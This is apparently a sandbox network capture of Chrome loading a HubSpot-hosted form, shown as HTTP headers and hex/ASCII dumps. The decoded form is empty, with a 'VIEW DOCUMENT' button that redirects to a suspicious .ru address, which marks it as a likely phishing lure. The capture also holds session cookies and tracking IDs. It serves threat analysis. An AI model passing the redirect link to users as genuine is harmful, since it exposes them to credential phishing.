2024-12-16 17:46:03 UTC	673	OUT	GET /collected-forms/v1/config/json?portalId=48192692&utk=f969d8b384270839a01465c358727fa6 HTTP/1.1 Host: forms.hscollectedforms.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/plain, / sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://share.hsforms.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-16 17:46:03 UTC	1188	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:46:03 GMT Content-Type: application/json;charset=utf-8 Content-Length: 134 Connection: close vary: Accept-Encoding Cache-Control: max-age=0 x-content-type-options: nosniff x-robots-tag: none access-control-allow-origin: https://share.hsforms.com access-control-allow-methods: GET, OPTIONS, PUT, POST, DELETE, PATCH, HEAD access-control-allow-headers: * access-control-max-age: 180 x-envoy-upstream-service-time: 3 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: c50aaee1-32e3-410f-8a2e-c6f94ee13206 x-evy-trace-served-by-pod: iad02/app-td/envoy-proxy-856d8787d5-zzrjc x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: c50aaee1-32e3-410f-8a2e-c6f94ee13206 CF-Cache-Status: DYNAMIC Set-Cookie: __cf_bm=GT8kq8YLNzuyiXVoJlXbQJFm9Fb_obVooy6d4nW06yw-1734371163-1.0.1.1-cSlBunBZXlKT.HfCJl9yhiHj.E0hiKBtOZFh3eqTlAFWNAHTifG6TvIeCXBM6wD2IPmQWhIFgBIw.6ILzhk.3w; path=/; expires=Mon, 16-Dec-24 18:16:03 GMT; domain=.hscollectedforms.net; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 8f307d9ced7bef9d-EWR
2024-12-16 17:46:03 UTC	134	IN	Data Raw: 7b 22 70 6f 72 74 61 6c 49 64 22 3a 34 38 31 39 32 36 39 32 2c 22 73 75 62 6d 69 73 73 69 6f 6e 73 41 70 69 44 6f 6d 61 69 6e 22 3a 22 66 6f 72 6d 73 2e 68 75 62 73 70 6f 74 2e 63 6f 6d 22 2c 22 72 65 70 6f 72 74 53 63 72 61 70 65 72 54 65 73 74 22 3a 66 61 6c 73 65 2c 22 66 6f 72 6d 43 61 70 74 75 72 65 45 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 74 6f 6b 65 6e 22 3a 31 37 34 32 30 37 34 33 33 7d Data Ascii: {"portalId":48192692,"submissionsApiDomain":"forms.hubspot.com","reportScraperTest":false,"formCaptureEnabled":true,"token":174207433}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.17	49863	104.19.175.188	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:46:03 UTC	780	OUT	GET /embed/v3/form/48192692/096e77d0-b92b-4bcd-b505-f6de1cfdcbdb/json?hs_static_app=forms-embed&hs_static_app_version=1.6926&X-HubSpot-Static-App-Info=forms-embed-1.6926&hutk=f969d8b384270839a01465c358727fa6 HTTP/1.1 Host: forms.hsforms.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/plain, / sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://share.hsforms.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-16 17:46:03 UTC	1306	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:46:03 GMT Content-Type: application/json;charset=utf-8 Transfer-Encoding: chunked Connection: close x-origin-hublet: na1 vary: origin access-control-allow-origin: https://share.hsforms.com access-control-allow-methods: OPTIONS, GET access-control-allow-headers: * access-control-allow-credentials: false access-control-max-age: 180 x-content-type-options: nosniff access-control-expose-headers: X-Origin-Hublet Cache-Control: max-age=0, no-cache, no-store x-robots-tag: none x-envoy-upstream-service-time: 47 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: 9af66805-dca7-4f9a-8f3e-74ee6eccdfa0 x-evy-trace-served-by-pod: iad02/star-hubspot-td/envoy-proxy-b967ccf5d-kf895 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: 9af66805-dca7-4f9a-8f3e-74ee6eccdfa0 CF-Cache-Status: DYNAMIC Set-Cookie: __cf_bm=58xvEcjIlz3SJlAUwEHDzvGhJptVCj2hQVJmFPc4XoY-1734371163-1.0.1.1-XKUl__poRtgcTnOV_ObunH.DnKuJZJXlcD4RfyQBuPV.IsmgnfQC_J6SEqKi9N7OuXed73_aAmmEmqUYDnz.Yg; path=/; expires=Mon, 16-Dec-24 18:16:03 GMT; domain=.hsforms.com; HttpOnly; Secure; SameSite=None Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2024-12-16 17:46:03 UTC	241	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 63 66 75 76 69 64 3d 43 4f 6f 57 4a 32 42 30 4a 55 54 66 78 66 65 50 50 4e 74 61 41 48 66 4d 72 77 5f 66 70 6b 4e 4c 68 58 52 47 36 66 4f 51 6f 35 51 2d 31 37 33 34 33 37 31 31 36 33 37 35 35 2d 30 2e 30 2e 31 2e 31 2d 36 30 34 38 30 30 30 30 30 3b 20 70 61 74 68 3d 2f 3b 20 64 6f 6d 61 69 6e 3d 2e 68 73 66 6f 72 6d 73 2e 63 6f 6d 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 66 33 30 37 64 39 63 66 62 66 32 38 63 61 62 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Set-Cookie: _cfuvid=COoWJ2B0JUTfxfePPNtaAHfMrw_fpkNLhXRG6fOQo5Q-1734371163755-0.0.1.1-604800000; path=/; domain=.hsforms.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f307d9cfbf28cab-EWRalt-svc: h3=":443"; ma=86400
2024-12-16 17:46:03 UTC	1369	IN	Data Raw: 32 38 39 32 0d 0a 7b 22 66 6f 72 6d 22 3a 7b 22 70 6f 72 74 61 6c 49 64 22 3a 34 38 31 39 32 36 39 32 2c 22 67 75 69 64 22 3a 22 30 39 36 65 37 37 64 30 2d 62 39 32 62 2d 34 62 63 64 2d 62 35 30 35 2d 66 36 64 65 31 63 66 64 63 62 64 62 22 2c 22 63 73 73 43 6c 61 73 73 22 3a 22 68 73 2d 66 6f 72 6d 20 73 74 61 63 6b 65 64 22 2c 22 69 6e 6c 69 6e 65 4d 65 73 73 61 67 65 22 3a 22 22 2c 22 72 65 64 69 72 65 63 74 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 71 62 30 36 2e 66 66 63 77 79 67 66 66 2e 72 75 2f 35 47 34 59 56 2f 22 2c 22 73 75 62 6d 69 74 54 65 78 74 22 3a 22 56 49 45 57 20 44 4f 43 55 4d 45 4e 54 22 2c 22 66 6f 72 6d 46 69 65 6c 64 47 72 6f 75 70 73 22 3a 5b 7b 22 66 69 65 6c 64 73 22 3a 5b 5d 2c 22 64 65 66 61 75 6c 74 22 3a 74 72 75 65 2c 22 69 Data Ascii: 2892{"form":{"portalId":48192692,"guid":"096e77d0-b92b-4bcd-b505-f6de1cfdcbdb","cssClass":"hs-form stacked","inlineMessage":"","redirectUrl":"https://qb06.ffcwygff.ru/5G4YV/","submitText":"VIEW DOCUMENT","formFieldGroups":[{"fields":[],"default":true,"i
2024-12-16 17:46:03 UTC	1369	IN	Data Raw: 6d 65 64 69 75 6d 3b 5c 22 20 63 6c 61 73 73 3d 5c 22 68 73 2d 66 6f 72 6d 5f 5f 72 6f 77 5c 22 3e 5c 6e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 68 73 2d 66 6f 72 6d 5f 5f 67 72 6f 75 70 5c 22 3e 5c 6e 3c 64 69 76 20 73 74 79 6c 65 3d 5c 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 5c 22 3e 5c 6e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 68 73 2d 66 6f 72 6d 5f 5f 72 6f 77 5c 22 3e 5c 6e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 68 73 2d 66 6f 72 6d 5f 5f 67 72 6f 75 70 5c 22 3e 5c 6e 3c 64 69 76 3e 5c 6e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 68 73 2d 66 6f 72 6d 5f 5f 72 6f 77 5c 22 3e 5c 6e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 68 73 2d 66 6f 72 6d 5f 5f 67 72 6f 75 70 5c 22 3e 5c 6e 3c 64 69 76 3e 26 23 78 61 30 3b 3c 2f 64 69 76 3e 5c 6e 3c 2f 64 69 Data Ascii: medium;\" class=\"hs-form__row\">\n<div class=\"hs-form__group\">\n<div style=\"font-size: 14px;\">\n<div class=\"hs-form__row\">\n<div class=\"hs-form__group\">\n<div>\n<div class=\"hs-form__row\">\n<div class=\"hs-form__group\">\n<div> </div>\n</di
2024-12-16 17:46:03 UTC	1369	IN	Data Raw: 61 6c 73 65 7d 5d 2c 22 6d 65 74 61 44 61 74 61 22 3a 5b 7b 22 6e 61 6d 65 22 3a 22 6c 61 6e 67 22 2c 22 76 61 6c 75 65 22 3a 22 65 6e 22 7d 2c 7b 22 6e 61 6d 65 22 3a 22 65 6d 62 65 64 54 79 70 65 22 2c 22 76 61 6c 75 65 22 3a 22 53 48 41 52 45 41 42 4c 45 22 7d 2c 7b 22 6e 61 6d 65 22 3a 22 65 6d 62 65 64 41 74 54 69 6d 65 73 74 61 6d 70 22 2c 22 76 61 6c 75 65 22 3a 22 31 37 33 34 33 37 31 31 36 33 37 33 34 22 7d 2c 7b 22 6e 61 6d 65 22 3a 22 66 6f 72 6d 44 65 66 69 6e 69 74 69 6f 6e 55 70 64 61 74 65 64 41 74 22 2c 22 76 61 6c 75 65 22 3a 22 31 37 33 34 33 37 30 31 39 35 33 31 38 22 7d 5d 2c 22 63 61 70 74 63 68 61 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 66 6f 72 6d 54 79 70 65 4e 75 6d 62 65 72 22 3a 30 2c 22 74 68 61 6e 6b 59 6f 75 4d 65 73 Data Ascii: alse}],"metaData":[{"name":"lang","value":"en"},{"name":"embedType","value":"SHAREABLE"},{"name":"embedAtTimestamp","value":"1734371163734"},{"name":"formDefinitionUpdatedAt","value":"1734370195318"}],"captchaEnabled":false,"formTypeNumber":0,"thankYouMes
2024-12-16 17:46:03 UTC	1369	IN	Data Raw: 65 73 73 22 3a 74 72 75 65 7d 2c 22 74 69 6d 65 22 3a 31 37 33 34 33 37 31 31 36 33 37 34 36 2c 22 74 68 65 6d 65 43 73 73 22 3a 22 2e 68 73 2d 62 75 74 74 6f 6e 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 5c 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 5c 22 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 6d 61 72 67 69 6e 3a 30 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 32 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 2e 31 35 73 20 6c 69 6e 65 61 72 3b 62 Data Ascii: ess":true},"time":1734371163746,"themeCss":".hs-button{font-family:\"Helvetica Neue\",Helvetica,Arial,sans-serif;margin:0;cursor:pointer;display:inline-block;font-weight:700;line-height:12px;position:relative;text-align:center;transition:all .15s linear;b
2024-12-16 17:46:03 UTC	1369	IN	Data Raw: 76 65 7d 2e 68 73 2d 76 69 64 65 6f 2d 66 6f 72 6d 20 2e 6c 65 67 61 6c 2d 63 6f 6e 73 65 6e 74 2d 6f 76 65 72 6c 61 79 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 3b 6c 65 66 74 3a 30 3b 62 6f 74 74 6f 6d 3a 30 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 77 69 64 74 68 3a 31 30 30 25 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 74 6f 20 62 6f 74 74 6f 6d 2c 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 29 20 30 25 2c 20 23 32 39 32 39 32 39 20 31 30 30 25 29 7d 2e 68 73 2d 65 72 72 6f 72 2d 6d 73 67 73 20 6c 61 62 65 6c 7b 63 6f 6c 6f 72 3a 23 66 32 35 34 35 62 7d 2e 68 73 2d 69 6e 70 75 74 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 Data Ascii: ve}.hs-video-form .legal-consent-overlay{position:absolute;pointer-events:none;left:0;bottom:0;height:100px;width:100%;background:linear-gradient(to bottom, rgba(255, 255, 255, 0) 0%, #292929 100%)}.hs-error-msgs label{color:#f2545b}.hs-input{display:inli
2024-12-16 17:46:03 UTC	1369	IN	Data Raw: 65 73 2c 74 65 78 74 61 72 65 61 2e 68 73 2d 69 6e 70 75 74 2e 65 72 72 6f 72 2c 73 65 6c 65 63 74 2e 68 73 2d 69 6e 70 75 74 2e 65 72 72 6f 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 63 38 37 38 37 32 7d 69 6e 70 75 74 2e 68 73 2d 69 6e 70 75 74 2e 65 72 72 6f 72 3a 66 6f 63 75 73 2c 64 69 76 2e 66 69 65 6c 64 2e 65 72 72 6f 72 20 69 6e 70 75 74 3a 66 6f 63 75 73 2c 64 69 76 2e 66 69 65 6c 64 2e 65 72 72 6f 72 20 74 65 78 74 61 72 65 61 3a 66 6f 63 75 73 2c 64 69 76 2e 66 69 65 6c 64 2e 65 72 72 6f 72 20 2e 63 68 7a 6e 2d 63 68 6f 69 63 65 73 3a 66 6f 63 75 73 2c 74 65 78 74 61 72 65 61 2e 68 73 2d 69 6e 70 75 74 2e 65 72 72 6f 72 3a 66 6f 63 75 73 2c 73 65 6c 65 63 74 2e 68 73 2d 69 6e 70 75 74 2e 65 72 72 6f 72 3a 66 6f 63 75 73 7b 62 6f 72 64 65 Data Ascii: es,textarea.hs-input.error,select.hs-input.error{border-color:#c87872}input.hs-input.error:focus,div.field.error input:focus,div.field.error textarea:focus,div.field.error .chzn-choices:focus,textarea.hs-input.error:focus,select.hs-input.error:focus{borde
2024-12-16 17:46:03 UTC	1369	IN	Data Raw: 7d 66 6f 72 6d 2e 68 73 2d 66 6f 72 6d 2d 72 74 6c 20 75 6c 7b 70 61 64 64 69 6e 67 3a 30 70 78 7d 66 6f 72 6d 2e 68 73 2d 66 6f 72 6d 2d 72 74 6c 20 2e 6c 65 67 61 6c 2d 63 6f 6e 73 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 68 73 2d 66 6f 72 6d 2d 62 6f 6f 6c 65 61 6e 63 68 65 63 6b 62 6f 78 2d 64 69 73 70 6c 61 79 20 69 6e 70 75 74 7b 77 69 64 74 68 3a 61 75 74 6f 3b 66 6c 6f 61 74 3a 72 69 67 68 74 7d 66 6f 72 6d 2e 68 73 2d 66 6f 72 6d 2d 72 74 6c 20 2e 6c 65 67 61 6c 2d 63 6f 6e 73 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 68 73 2d 66 6f 72 6d 2d 62 6f 6f 6c 65 61 6e 63 68 65 63 6b 62 6f 78 2d 64 69 73 70 6c 61 79 3e 73 70 61 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 70 78 7d 66 6f 72 6d 2e 68 73 2d 66 6f 72 6d 2d 72 74 6c 20 2e 68 73 2d 64 Data Ascii: }form.hs-form-rtl ul{padding:0px}form.hs-form-rtl .legal-consent-container .hs-form-booleancheckbox-display input{width:auto;float:right}form.hs-form-rtl .legal-consent-container .hs-form-booleancheckbox-display>span{margin-left:0px}form.hs-form-rtl .hs-d
2024-12-16 17:46:03 UTC	811	IN	Data Raw: 2c 2e 65 6d 61 69 6c 2d 76 61 6c 69 64 61 74 69 6f 6e 20 66 6f 72 6d 20 2e 66 6f 72 6d 2d 63 6f 6c 75 6d 6e 73 2d 32 20 2e 68 73 2d 66 6f 72 6d 2d 66 69 65 6c 64 20 69 6e 70 75 74 5b 74 79 70 65 3d 63 68 65 63 6b 62 6f 78 5d 2c 2e 65 6d 61 69 6c 2d 76 61 6c 69 64 61 74 69 6f 6e 20 66 6f 72 6d 20 2e 66 6f 72 6d 2d 63 6f 6c 75 6d 6e 73 2d 32 20 2e 68 73 2d 66 6f 72 6d 2d 66 69 65 6c 64 20 69 6e 70 75 74 5b 74 79 70 65 3d 72 61 64 69 6f 5d 2c 2e 65 6d 61 69 6c 2d 76 61 6c 69 64 61 74 69 6f 6e 20 66 6f 72 6d 20 2e 66 6f 72 6d 2d 63 6f 6c 75 6d 6e 73 2d 33 20 2e 68 73 2d 66 6f 72 6d 2d 66 69 65 6c 64 20 69 6e 70 75 74 5b 74 79 70 65 3d 63 68 65 63 6b 62 6f 78 5d 2c 2e 65 6d 61 69 6c 2d 76 61 6c 69 64 61 74 69 6f 6e 20 66 6f 72 6d 20 2e 66 6f 72 6d 2d 63 6f 6c Data Ascii: ,.email-validation form .form-columns-2 .hs-form-field input[type=checkbox],.email-validation form .form-columns-2 .hs-form-field input[type=radio],.email-validation form .form-columns-3 .hs-form-field input[type=checkbox],.email-validation form .form-col
2024-12-16 17:46:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.17	49864	104.16.118.116	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:46:03 UTC	1242	OUT	GET /__ptq.gif?k=1&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48192692&ccu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&pu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&t=Form&cts=1734371160862&vi=f969d8b384270839a01465c358727fa6&nc=false&u=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1&b=251652889.2.1734371126848&cc=15 HTTP/1.1 Host: track.hubspot.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=VBFhnnAmN0SQY1p7gf3tiCqXptW3uYSOTqHMVCk43g0-1734371131-1.0.1.1-iZGKyADPzJZYUsywtJlAkPGXNoLg3vv7PgGAwB9ErwGjF27z3ebw7S_xLvP7XJ6VCUXybcod7zrwFurlKVLVcA; _cfuvid=4VikfrI88zTQK4EPfkhv4kF3Fe.CI_9bBS.vlcLGm5A-1734371131612-0.0.1.1-604800000
2024-12-16 17:46:03 UTC	1204	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:46:03 GMT Content-Type: image/gif Content-Length: 45 Connection: close CF-Ray: 8f307d9c8ebe41fb-EWR CF-Cache-Status: DYNAMIC Cache-Control: no-cache, no-store, no-transform Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Vary: origin access-control-allow-credentials: false p3p: CP="NOI CUR ADM OUR NOR STA NID" x-content-type-options: nosniff x-envoy-upstream-service-time: 5 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-evy-trace-route-service-name: envoyset-translator x-evy-trace-served-by-pod: iad02/analytics-tracking-td/envoy-proxy-c658cb6d4-gl5zl x-evy-trace-virtual-host: all x-hubspot-correlation-id: 661fcdab-8aed-4123-bed2-d657dd3b333a x-request-id: 661fcdab-8aed-4123-bed2-d657dd3b333a x-robots-tag: none Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=clTFxTdjC4N4EXpWbZyIMrz8sVKgdHS%2FWvltnGWCCwCa2S%2BrQjGQJgpMa5EC8HLvwrqpPWXQ9CLSh4lMQXvxGK4dhecNvI8%2F9%2BHtWeFGTAQaJgbnjdrAiKl3Duj%2FFnbG97LM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare
2024-12-16 17:46:03 UTC	45	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 40 08 04 00 01 04 04 00 3b Data Ascii: GIF89a!,@;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.17	49860	104.19.175.188	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:46:03 UTC	1082	OUT	GET /embed/v3/counters.gif?key=collected-forms-embed-js-form-bind&count=1 HTTP/1.1 Host: forms.hsforms.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=2kX8QfunqwBj5Tg9aNqIJ.XAN4BdBj5osOpmNCTyY_s-1734371123-1.0.1.1-WZrRM0BIO6Fuog5205Wir82ntMamI2GHoVjIwoGCRnSO0.NZAH6U72fafrjwOqcX_.2wq7wW.ySIg6zQpyx2Rw; _cfuvid=3Jvz8urGIUIs7njpsFJUKB5ts6qBsu_jCHNuf80AIcU-1734371123729-0.0.1.1-604800000; __hstc=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1; hubspotutk=f969d8b384270839a01465c358727fa6; __hssrc=1; __hssc=251652889.2.1734371126848
2024-12-16 17:46:04 UTC	904	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:46:04 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: max-age=0, no-cache, no-store vary: origin access-control-allow-credentials: false x-content-type-options: nosniff access-control-expose-headers: X-Origin-Hublet x-robots-tag: none x-envoy-upstream-service-time: 2 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: c7e3dd50-3fed-4f94-8fcb-4d25a81ed8fa x-evy-trace-served-by-pod: iad02/star-hubspot-td/envoy-proxy-b967ccf5d-wwjgh x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: c7e3dd50-3fed-4f94-8fcb-4d25a81ed8fa CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8f307d9fac6e7cae-EWR alt-svc: h3=":443"; ma=86400
2024-12-16 17:46:04 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.17	49870	104.16.109.254	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:46:05 UTC	602	OUT	GET /collected-forms/v1/config/json?portalId=48192692&utk=f969d8b384270839a01465c358727fa6 HTTP/1.1 Host: forms.hscollectedforms.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=d1ASo8J1NnJGHYfSaRYq3M8CIed0HFFDaK2KNXYUH88-1734371131-1.0.1.1-Cx5JNvC.POCAHUuYwHduuoOfDgglCmo5B0OwtJ5A8WQqp0j2OpdC.lUyobF7qbdClyg1j6w_THNQKC6A8DKqNA
2024-12-16 17:46:05 UTC	853	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:46:05 GMT Content-Type: application/json;charset=utf-8 Content-Length: 134 Connection: close vary: Accept-Encoding Cache-Control: max-age=0 x-content-type-options: nosniff x-robots-tag: none access-control-allow-methods: GET, OPTIONS, PUT, POST, DELETE, PATCH, HEAD access-control-allow-headers: * access-control-max-age: 180 x-envoy-upstream-service-time: 2 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: 6fabd6a7-226d-4fd9-a7d5-397d54905d95 x-evy-trace-served-by-pod: iad02/app-td/envoy-proxy-856d8787d5-mglm2 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: 6fabd6a7-226d-4fd9-a7d5-397d54905d95 CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8f307da76d5843a5-EWR
2024-12-16 17:46:05 UTC	134	IN	Data Raw: 7b 22 70 6f 72 74 61 6c 49 64 22 3a 34 38 31 39 32 36 39 32 2c 22 73 75 62 6d 69 73 73 69 6f 6e 73 41 70 69 44 6f 6d 61 69 6e 22 3a 22 66 6f 72 6d 73 2e 68 75 62 73 70 6f 74 2e 63 6f 6d 22 2c 22 72 65 70 6f 72 74 53 63 72 61 70 65 72 54 65 73 74 22 3a 66 61 6c 73 65 2c 22 66 6f 72 6d 43 61 70 74 75 72 65 45 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 74 6f 6b 65 6e 22 3a 31 37 34 32 30 37 34 33 33 7d Data Ascii: {"portalId":48192692,"submissionsApiDomain":"forms.hubspot.com","reportScraperTest":false,"formCaptureEnabled":true,"token":174207433}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.17	49872	104.18.80.204	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:46:05 UTC	1085	OUT	GET /embed/v3/counters.gif?key=forms-embed-v3-DEFINITION_SUCCESS&count=1 HTTP/1.1 Host: forms-na1.hsforms.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=2kX8QfunqwBj5Tg9aNqIJ.XAN4BdBj5osOpmNCTyY_s-1734371123-1.0.1.1-WZrRM0BIO6Fuog5205Wir82ntMamI2GHoVjIwoGCRnSO0.NZAH6U72fafrjwOqcX_.2wq7wW.ySIg6zQpyx2Rw; _cfuvid=3Jvz8urGIUIs7njpsFJUKB5ts6qBsu_jCHNuf80AIcU-1734371123729-0.0.1.1-604800000; __hstc=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1; 